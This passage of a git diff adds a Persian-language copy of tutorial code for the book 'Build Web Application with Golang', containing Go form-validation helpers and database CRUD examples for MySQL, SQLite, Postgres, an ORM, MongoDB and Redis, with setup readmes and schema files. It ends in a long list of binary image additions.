13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/fa/code/src/apps/ch.5.2/main.go b/fa/code/src/apps/ch.5.2/main.go new file mode 100644 index 000000000..b64c44506 --- /dev/null +++ b/fa/code/src/apps/ch.5.2/main.go @@ -0,0 +1,76 @@ +// Example code for Chapter 5.2 from "Build Web Application with Golang" +// Purpose: Use SQL driver to perform simple CRUD operations. +package main + +import ( + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbSouce := fmt.Sprintf("%v:%v@/%v?charset=utf8", DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("mysql", dbSouce) + checkErr(err) + defer db.Close() + + fmt.Println("Inserting") + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "software developement", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println("id of last inserted row =", id) + fmt.Println("Updating") + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username, department, created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created") + fmt.Printf("%3v | %6v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/fa/code/src/apps/ch.5.2/readme.md b/fa/code/src/apps/ch.5.2/readme.md new file mode 100644 index 000000000..9e34f7d78 --- /dev/null +++ b/fa/code/src/apps/ch.5.2/readme.md @@ -0,0 +1,12 @@ +## Setup for `ch.5.2` + +- Step 1) Install and run MySql +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/fa/code/src/apps/ch.5.2/schema.sql b/fa/code/src/apps/ch.5.2/schema.sql new file mode 100644 index 000000000..04128f7f2 --- /dev/null +++ b/fa/code/src/apps/ch.5.2/schema.sql @@ -0,0 +1,7 @@ +CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) +); diff --git a/fa/code/src/apps/ch.5.3/foo.db b/fa/code/src/apps/ch.5.3/foo.db new file mode 100644 index 000000000..d805156b4 Binary files /dev/null and b/fa/code/src/apps/ch.5.3/foo.db differ diff --git a/fa/code/src/apps/ch.5.3/main.go b/fa/code/src/apps/ch.5.3/main.go new file mode 100644 index 000000000..6f19518f7 --- /dev/null +++ b/fa/code/src/apps/ch.5.3/main.go @@ -0,0 +1,72 @@ +// Example code for Chapter 5.3 from "Build Web Application with Golang" +// Purpose: Shows how to run simple CRUD operations using a sqlite driver +package main + +import ( + "database/sql" + "fmt" + _ "github.com/mattn/go-sqlite3" + "time" +) + +const DB_PATH = "./foo.db" + +func main() { + db, err := sql.Open("sqlite3", DB_PATH) + checkErr(err) + defer db.Close() + + fmt.Println("Inserting") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "software developement", time.Now().Format("2006-01-02")) + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println("id of last inserted row =", id) + fmt.Println("Updating") + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username, department, created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created") + fmt.Printf("%3v | %6v | %8v | %6v\n", uid, username, department, created) + } + + fmt.Println("Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/fa/code/src/apps/ch.5.3/readme.md b/fa/code/src/apps/ch.5.3/readme.md new file mode 100644 index 000000000..8ca48a7b8 --- /dev/null +++ b/fa/code/src/apps/ch.5.3/readme.md @@ -0,0 +1,23 @@ +## Set up for `ch.5.3` + +- Step 1) Download and install sqlite 3. +- Step 2) Run `sqlite3 foo.db` to create a databased called `foo`. +- Step 3) Create the `userinfo` table in sqlite using `schema.sql`. + + Read and run sql statements + + sqlite> .read schema.sql + + Show tables + + sqlite> .tables + userinfo + + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/fa/code/src/apps/ch.5.3/schema.sql b/fa/code/src/apps/ch.5.3/schema.sql new file mode 100644 index 000000000..55aebb48d --- /dev/null +++ b/fa/code/src/apps/ch.5.3/schema.sql @@ -0,0 +1,6 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL + ); diff --git a/fa/code/src/apps/ch.5.4/main.go b/fa/code/src/apps/ch.5.4/main.go new file mode 100644 index 000000000..3b7afdafb --- /dev/null +++ b/fa/code/src/apps/ch.5.4/main.go @@ -0,0 +1,78 @@ +// Example code for Chapter 5.4 from "Build Web Application with Golang" +// Purpose: Show how to perform CRUD operations using a postgres driver +package main + +import ( + "database/sql" + "fmt" + "time" + + _ "github.com/lib/pq" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", + "astaxie", "software developement", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("id of last inserted row =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/fa/code/src/apps/ch.5.4/readme.md b/fa/code/src/apps/ch.5.4/readme.md new file mode 100644 index 000000000..74f1e2a3c --- /dev/null +++ b/fa/code/src/apps/ch.5.4/readme.md @@ -0,0 +1,12 @@ +## Setup for ch.5.4 + +- Step 1) Install and run Postgres +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/fa/code/src/apps/ch.5.4/schema.sql b/fa/code/src/apps/ch.5.4/schema.sql new file mode 100644 index 000000000..001e84332 --- /dev/null +++ b/fa/code/src/apps/ch.5.4/schema.sql @@ -0,0 +1,9 @@ +CREATE TABLE userinfo +( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) +) +WITH (OIDS=FALSE); diff --git a/fa/code/src/apps/ch.5.5/main.go b/fa/code/src/apps/ch.5.5/main.go new file mode 100644 index 000000000..ce90e9607 --- /dev/null +++ b/fa/code/src/apps/ch.5.5/main.go @@ -0,0 +1,170 @@ +// Example code for Chapter 5.5 +// Purpose is to show to use BeeDB ORM for basic CRUD operations for sqlite3 +package main + +import ( + "database/sql" + "fmt" + "github.com/astaxie/beedb" + _ "github.com/mattn/go-sqlite3" + "time" +) + +var orm beedb.Model + +type Userinfo struct { + Uid int `beedb:"PK"` + Username string + Department string + Created string +} + +const DB_PATH = "./foo.db" + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func getTimeStamp() string { + return time.Now().Format("2006-01-02 15:04:05") +} +func insertUsingStruct() int64 { + fmt.Println("insertUsingStruct()") + var obj Userinfo + obj.Username = "Test Add User" + obj.Department = "Test Add Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) + return int64(obj.Uid) +} +func insertUsingMap() int64 { + fmt.Println("insertUsingMap()") + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["department"] = "cloud develop" + add["created"] = getTimeStamp() + id, err := orm.SetTable("userinfo").Insert(add) + checkError(err) + fmt.Println("Last row inserted id =", id) + return id +} + +func getOneUserInfo(id int64) Userinfo { + fmt.Println("getOneUserInfo()") + var obj Userinfo + checkError(orm.Where("uid=?", id).Find(&obj)) + return obj +} + +func getAllUserInfo(id int64) []Userinfo { + fmt.Println("getAllUserInfo()") + var alluser []Userinfo + checkError(orm.Limit(10).Where("uid>?", id).FindAll(&alluser)) + return alluser +} + +func updateUserinfo(id int64) { + fmt.Println("updateUserinfo()") + var obj Userinfo + obj.Uid = int(id) + obj.Username = "Update Username" + obj.Department = "Update Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) +} + +func updateUsingMap(id int64) { + fmt.Println("updateUsingMap()") + t := make(map[string]interface{}) + t["username"] = "updateastaxie" + //update one + // id, err := orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + //update batch + lastId, err := orm.SetTable("userinfo").Where("uid>?", id).Update(t) + checkError(err) + fmt.Println("Last row updated id =", lastId) +} + +func getMapsFromSelect(id int64) []map[string][]byte { + fmt.Println("getMapsFromSelect()") + //Original SQL Backinfo resultsSlice []map[string][]byte + //default PrimaryKey id + c, err := orm.SetTable("userinfo").SetPK("uid").Where(id).Select("uid,username").FindMap() + checkError(err) + fmt.Printf("%+v\n", c) + return c +} + +func groupby() { + fmt.Println("groupby()") + //Original SQL Group By + b, err := orm.SetTable("userinfo").GroupBy("username").Having("username='updateastaxie'").FindMap() + checkError(err) + fmt.Printf("%+v\n", b) +} + +func joinTables(id int64) { + fmt.Println("joinTables()") + //Original SQL Join Table + a, err := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid").Where("userinfo.uid=?", id).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + checkError(err) + fmt.Printf("%+v\n", a) +} + +func deleteWithUserinfo(id int64) { + fmt.Println("deleteWithUserinfo()") + obj := getOneUserInfo(id) + id, err := orm.Delete(&obj) + checkError(err) + fmt.Println("Last row deleted id =", id) +} + +func deleteRows() { + fmt.Println("deleteRows()") + //original SQL delete + id, err := orm.SetTable("userinfo").Where("uid>?", 2).DeleteRow() + checkError(err) + fmt.Println("Last row updated id =", id) +} + +func deleteAllUserinfo(id int64) { + fmt.Println("deleteAllUserinfo()") + //delete all data + alluser := getAllUserInfo(id) + id, err := orm.DeleteAll(&alluser) + checkError(err) + fmt.Println("Last row updated id =", id) +} +func main() { + db, err := sql.Open("sqlite3", DB_PATH) + checkError(err) + orm = beedb.New(db) + var lastIdInserted int64 + + fmt.Println("Inserting") + lastIdInserted = insertUsingStruct() + insertUsingMap() + + a := getOneUserInfo(lastIdInserted) + fmt.Println(a) + + b := getAllUserInfo(lastIdInserted) + fmt.Println(b) + + fmt.Println("Updating") + updateUserinfo(lastIdInserted) + updateUsingMap(lastIdInserted) + + fmt.Println("Querying") + getMapsFromSelect(lastIdInserted) + groupby() + joinTables(lastIdInserted) + + fmt.Println("Deleting") + deleteWithUserinfo(lastIdInserted) + deleteRows() + deleteAllUserinfo(lastIdInserted) +} diff --git a/fa/code/src/apps/ch.5.5/readme.md b/fa/code/src/apps/ch.5.5/readme.md new file mode 100644 index 000000000..fcad11c8a --- /dev/null +++ b/fa/code/src/apps/ch.5.5/readme.md @@ -0,0 +1,23 @@ +## Set up for `ch.5.5` + +- Step 1) Download and install sqlite 3. +- Step 2) Run `sqlite3 foo.db` to create a databased called `foo`. +- Step 3) Create the tables found in `schema.sql` in sqlite. + + Read and run sql statements + + sqlite> .read schema.sql + + Show tables + + sqlite> .tables + userinfo + userdetail + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/fa/code/src/apps/ch.5.5/schema.sql b/fa/code/src/apps/ch.5.5/schema.sql new file mode 100644 index 000000000..da897d5fb --- /dev/null +++ b/fa/code/src/apps/ch.5.5/schema.sql @@ -0,0 +1,12 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL +); +CREATE TABLE `userdetail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +); diff --git a/fa/code/src/apps/ch.5.6/mongodb/main.go b/fa/code/src/apps/ch.5.6/mongodb/main.go new file mode 100644 index 000000000..9013f5ae6 --- /dev/null +++ b/fa/code/src/apps/ch.5.6/mongodb/main.go @@ -0,0 +1,58 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a mongodb driver. +package main + +import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" +) + +type Person struct { + Name string + Phone string +} + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_NAME = "test" + DB_COLLECTION = "people" +) + +func main() { + session, err := mgo.Dial("localhost") + checkError(err) + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB(DB_NAME).C(DB_COLLECTION) + err = c.DropCollection() + checkError(err) + + ale := Person{"Ale", "555-5555"} + cla := Person{"Cla", "555-1234"} + + fmt.Println("Inserting") + err = c.Insert(&ale, &cla) + checkError(err) + + fmt.Println("Updating") + ale.Phone = "555-0101" + err = c.Update(bson.M{"name": "Ale"}, &ale) + + fmt.Println("Querying") + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + checkError(err) + fmt.Println("Phone:", result.Phone) + + fmt.Println("Deleting") + err = c.Remove(bson.M{"name": "Ale"}) + checkError(err) +} diff --git a/fa/code/src/apps/ch.5.6/mongodb/readme.md b/fa/code/src/apps/ch.5.6/mongodb/readme.md new file mode 100644 index 000000000..35bee2fe2 --- /dev/null +++ b/fa/code/src/apps/ch.5.6/mongodb/readme.md @@ -0,0 +1,6 @@ +## Setup for `ch.5.6` for MongoDB + +- Step 1) Install and run MongoDB +- Step 2) Launch the MongoDB daemon (mongod) to start the server. +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/fa/code/src/apps/ch.5.6/redis/main.go b/fa/code/src/apps/ch.5.6/redis/main.go new file mode 100644 index 000000000..9bac3f30e --- /dev/null +++ b/fa/code/src/apps/ch.5.6/redis/main.go @@ -0,0 +1,60 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a redis driver. +package main + +import ( + "fmt" + "github.com/astaxie/goredis" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_PORT = "9191" + DB_URL = "127.0.0.1" +) + +func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = DB_URL + ":" + DB_PORT + + // string manipulation + fmt.Println("Inserting") + err := client.Set("a", []byte("hello")) + checkError(err) + + // list operation + vals := []string{"a", "b", "c", "d"} + for _, v := range vals { + err = client.Rpush("l", []byte(v)) + checkError(err) + } + fmt.Println("Updating") + err = client.Set("a", []byte("a is for apple")) + checkError(err) + err = client.Rpush("l", []byte("e")) + checkError(err) + + fmt.Println("Querying") + val, err := client.Get("a") + checkError(err) + fmt.Println(string(val)) + + dbvals, err := client.Lrange("l", 0, 4) + checkError(err) + for i, v := range dbvals { + println(i, ":", string(v)) + } + + fmt.Println("Deleting") + _, err = client.Del("l") + checkError(err) + _, err = client.Del("a") + checkError(err) +} diff --git a/fa/code/src/apps/ch.5.6/redis/readme.md b/fa/code/src/apps/ch.5.6/redis/readme.md new file mode 100644 index 000000000..4965e7bb3 --- /dev/null +++ b/fa/code/src/apps/ch.5.6/redis/readme.md @@ -0,0 +1,10 @@ +## Setup for `ch.5.6` for Redis + +- Step 1) Install and run Redis +- Step 2) Launch the Redis server matching the DB constants. + + DB_PORT = "9191" + DB_URL = "127.0.0.1" + +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/fa/code/src/mymath/sqrt.go b/fa/code/src/mymath/sqrt.go new file mode 100644 index 000000000..6f089e05e --- /dev/null +++ b/fa/code/src/mymath/sqrt.go @@ -0,0 +1,12 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple package called `mymath` +// This package must be imported from another go file to run. +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} diff --git a/fa/images/1.1.cmd.png b/fa/images/1.1.cmd.png new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/fa/images/1.1.cmd.png differ diff --git a/fa/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/fa/images/1.1.cmd.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.1.cmd.png~update the structure for gitbook b/fa/images/1.1.cmd.png~update the structure for gitbook new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/fa/images/1.1.cmd.png~update the structure for gitbook differ diff --git a/fa/images/1.1.linux.png b/fa/images/1.1.linux.png new file mode 100644 index 000000000..539563d96 Binary files /dev/null and b/fa/images/1.1.linux.png differ diff --git a/fa/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..45ffd9240 Binary files /dev/null and b/fa/images/1.1.linux.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.1.linux.png~update the structure for gitbook b/fa/images/1.1.linux.png~update the structure for gitbook new file mode 100644 index 000000000..539563d96 Binary files /dev/null and b/fa/images/1.1.linux.png~update the structure for gitbook differ diff --git a/fa/images/1.1.mac.png b/fa/images/1.1.mac.png new file mode 100644 index 000000000..ad2ceed6f Binary files /dev/null and b/fa/images/1.1.mac.png differ diff --git a/fa/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..45ffd9240 Binary files /dev/null and b/fa/images/1.1.mac.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.1.mac.png~update the structure for gitbook b/fa/images/1.1.mac.png~update the structure for gitbook new file mode 100644 index 000000000..ad2ceed6f Binary files /dev/null and b/fa/images/1.1.mac.png~update the structure for gitbook differ diff --git a/fa/images/1.3.go.png b/fa/images/1.3.go.png new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/fa/images/1.3.go.png differ diff --git a/fa/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/fa/images/1.3.go.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.3.go.png~update the structure for gitbook b/fa/images/1.3.go.png~update the structure for gitbook new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/fa/images/1.3.go.png~update the structure for gitbook differ diff --git a/fa/images/1.4.eclipse1.png b/fa/images/1.4.eclipse1.png new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/fa/images/1.4.eclipse1.png differ diff --git a/fa/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/fa/images/1.4.eclipse1.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.eclipse1.png~update the structure for gitbook b/fa/images/1.4.eclipse1.png~update the structure for gitbook new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/fa/images/1.4.eclipse1.png~update the structure for gitbook differ diff --git a/fa/images/1.4.eclipse2.png b/fa/images/1.4.eclipse2.png new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/fa/images/1.4.eclipse2.png differ diff --git a/fa/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/fa/images/1.4.eclipse2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.eclipse2.png~update the structure for gitbook b/fa/images/1.4.eclipse2.png~update the structure for gitbook new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/fa/images/1.4.eclipse2.png~update the structure for gitbook differ diff --git a/fa/images/1.4.eclipse3.png b/fa/images/1.4.eclipse3.png new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/fa/images/1.4.eclipse3.png differ diff --git a/fa/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/fa/images/1.4.eclipse3.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.eclipse3.png~update the structure for gitbook b/fa/images/1.4.eclipse3.png~update the structure for gitbook new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/fa/images/1.4.eclipse3.png~update the structure for gitbook differ diff --git a/fa/images/1.4.eclipse4.png b/fa/images/1.4.eclipse4.png new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/fa/images/1.4.eclipse4.png differ diff --git a/fa/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/fa/images/1.4.eclipse4.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.eclipse4.png~update the structure for gitbook b/fa/images/1.4.eclipse4.png~update the structure for gitbook new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/fa/images/1.4.eclipse4.png~update the structure for gitbook differ diff --git a/fa/images/1.4.eclipse5.png b/fa/images/1.4.eclipse5.png new file mode 100644 index 000000000..8a89555d3 Binary files /dev/null and b/fa/images/1.4.eclipse5.png differ diff --git a/fa/images/1.4.eclipse5.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.eclipse5.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..8a89555d3 Binary files /dev/null and b/fa/images/1.4.eclipse5.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.eclipse5.png~update the structure for gitbook b/fa/images/1.4.eclipse5.png~update the structure for gitbook new file mode 100644 index 000000000..8a89555d3 Binary files /dev/null and b/fa/images/1.4.eclipse5.png~update the structure for gitbook differ diff --git a/fa/images/1.4.eclipse6.png b/fa/images/1.4.eclipse6.png new file mode 100644 index 000000000..7771ec2e2 Binary files /dev/null and b/fa/images/1.4.eclipse6.png differ diff --git a/fa/images/1.4.eclipse6.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.eclipse6.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..7771ec2e2 Binary files /dev/null and b/fa/images/1.4.eclipse6.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.eclipse6.png~update the structure for gitbook b/fa/images/1.4.eclipse6.png~update the structure for gitbook new file mode 100644 index 000000000..7771ec2e2 Binary files /dev/null and b/fa/images/1.4.eclipse6.png~update the structure for gitbook differ diff --git a/fa/images/1.4.emacs.png b/fa/images/1.4.emacs.png new file mode 100644 index 000000000..3dd6845ff Binary files /dev/null and b/fa/images/1.4.emacs.png differ diff --git a/fa/images/1.4.emacs.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.emacs.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..3dd6845ff Binary files /dev/null and b/fa/images/1.4.emacs.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.emacs.png~update the structure for gitbook b/fa/images/1.4.emacs.png~update the structure for gitbook new file mode 100644 index 000000000..3dd6845ff Binary files /dev/null and b/fa/images/1.4.emacs.png~update the structure for gitbook differ diff --git a/fa/images/1.4.idea1.png b/fa/images/1.4.idea1.png new file mode 100644 index 000000000..87d2e51e0 Binary files /dev/null and b/fa/images/1.4.idea1.png differ diff --git a/fa/images/1.4.idea1.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.idea1.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..87d2e51e0 Binary files /dev/null and b/fa/images/1.4.idea1.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.idea1.png~update the structure for gitbook b/fa/images/1.4.idea1.png~update the structure for gitbook new file mode 100644 index 000000000..87d2e51e0 Binary files /dev/null and b/fa/images/1.4.idea1.png~update the structure for gitbook differ diff --git a/fa/images/1.4.idea2.png b/fa/images/1.4.idea2.png new file mode 100644 index 000000000..8059b20ff Binary files /dev/null and b/fa/images/1.4.idea2.png differ diff --git a/fa/images/1.4.idea2.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.idea2.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..8059b20ff Binary files /dev/null and b/fa/images/1.4.idea2.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.idea2.png~update the structure for gitbook b/fa/images/1.4.idea2.png~update the structure for gitbook new file mode 100644 index 000000000..8059b20ff Binary files /dev/null and b/fa/images/1.4.idea2.png~update the structure for gitbook differ diff --git a/fa/images/1.4.idea3.png b/fa/images/1.4.idea3.png new file mode 100644 index 000000000..574e1d74b Binary files /dev/null and b/fa/images/1.4.idea3.png differ diff --git a/fa/images/1.4.idea3.png~380a8ee74c41759d8189ad553423467994187253 b/fa/images/1.4.idea3.png~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 000000000..574e1d74b Binary files /dev/null and b/fa/images/1.4.idea3.png~380a8ee74c41759d8189ad553423467994187253 differ diff --git a/fa/images/1.4.idea3.png~update the structure for gitbook b/fa/images/1.4.idea3.png~update the structure for gitbook new file mode 100644 index 000000000..574e1d74b Binary files /dev/null and b/fa/images/1.4.idea3.png~update the structure for gitbook differ diff --git a/fa/images/1.4.idea4.png 